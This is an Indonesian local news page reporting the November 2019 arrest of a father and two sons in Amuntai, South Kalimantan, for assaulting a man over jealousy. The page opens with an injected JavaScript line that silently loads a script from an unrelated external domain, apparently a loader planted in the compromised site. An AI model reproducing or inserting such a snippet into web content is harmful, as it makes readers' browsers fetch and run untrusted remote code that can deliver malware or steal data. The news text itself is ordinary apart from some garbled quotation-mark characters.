(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, H (40) bersama kedua anaknya RH (19) dan AR (22) harus berurusan dengan polisi karena diduga telah melakukan penganiayaan terhadap Rahmat Hidayat (40) warga RT 001 Jalan Candi Agung, Kelurahan Paliwara, Kecamatan Amuntai Tengah, Kabupaten Hulu Sungai Utara (HSU).
Kapolres HSU AKBP Ahmad Arif Sopiyan melalui Kasatreskrim Iptu Kamarudin, kepada Kanalkalimantan.com Selasa (5/11) mengakui akan adanya pelaporan atas kejadian tersebut,
Meski kejadian terjadi pada hari Sabtu kemarin, korban baru melapor ke Mapolres HSU pada Senin (4/11/2019) sekitar pukul 09.00 Wita, direspon dengan aksi cepat Unit Jatanras Polres HSU dibantu Polres Hulu Sungai Tengah.
Ayah bersama dua anaknya itu dilaporkan ke polisi atas dugaan pengeroyokan terhadap Rahmad Hidayat (40) -diduga pria idaman lain- dari istri sah tersangka H.
Kepada polisi, pelaku H mengakui semua perbuatannya tersebut, lantaran termakan api cemburu dengan korban berpacaran dengan isteri pelaku.
Kejadian penganiayaan terjadi pada Sabtu (2/11/2019) sekitar pukul 23.00 Wita di kawasan terminal Pasir Mas, Kecamantan Amuntai Tengah, Kabupaten HSU.
Saat itu korban nongkrong di terminal Pasir Mas, lalu datang tersangka bersama dua orang lainnya. Ketiga orang ini langsung memegang tangan korban dan memukuli korban dengan membabi buta.
Alhasil, korban mengalami beberapa luka lebam, seperti benjol di bagian wajah, benjol di bagian depan dan belakang kepala, lebam-lebam di bagian tubuhnya bahkan sempat muntah darah. sKemudian korban harus mendapat perawatan di RSUD Pambalah Batung Amuntai.
Ketiga pelaku pengeroyokan ditangkap dilokasi yang berbeda usai dilakukan penyelidikan. Polisi lebih dulu meringkus AR di Desa Palampitan, Kecamatan Amuntai Tengah, Kabupaten HSU pada pukul 19.00 Wita pada Senin (4/11).
Dari keterangan AR, polisi menangkap RH pada pukul 21.17 Wita di Desa Palampitan.
“Kemudian pada pukul 02.30 Wita (Selasa 5 Nopember 2019) dilakukan pengejaran satu orang pelaku yang keberadaannya diketahui di Desa Mundar, Kabupaten HST. Dibantu Unit Jatanras Polres HST, pelaku H akhirnya ditangkap pada pukul 02.30 wita di Desa Mundar RT 02, Kecamatan Labuan Amas Selatan, Kabupaten HST,†terang Kamarudin.
H dan dua pelaku lain masih sanak keluarga, RH sebagai anak kandung H, AR sebagai anak angkat H. Sementara H dan istrinya sendiri statusnya belum resmi cerai.
“Tersangka merasa cemburu setelah mendapat telpon dari anaknya kalau melihat disewaan mamanya ada seorang laki-laki,†imbuhnya Iptu Kamarudin.
Diketahui tersangka H dan RH merupakan warga Desa Karias RT 01, Kecamatan Amuntai Tengah, Kabupaten HSU, sementara AR tinggal di Desa Patarikan, Kecamatan Banjang. Ketiga tersangka saat ini masih menjalani proses pemeriksaan lebih lanjut di Mapolres HSU. (dew)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.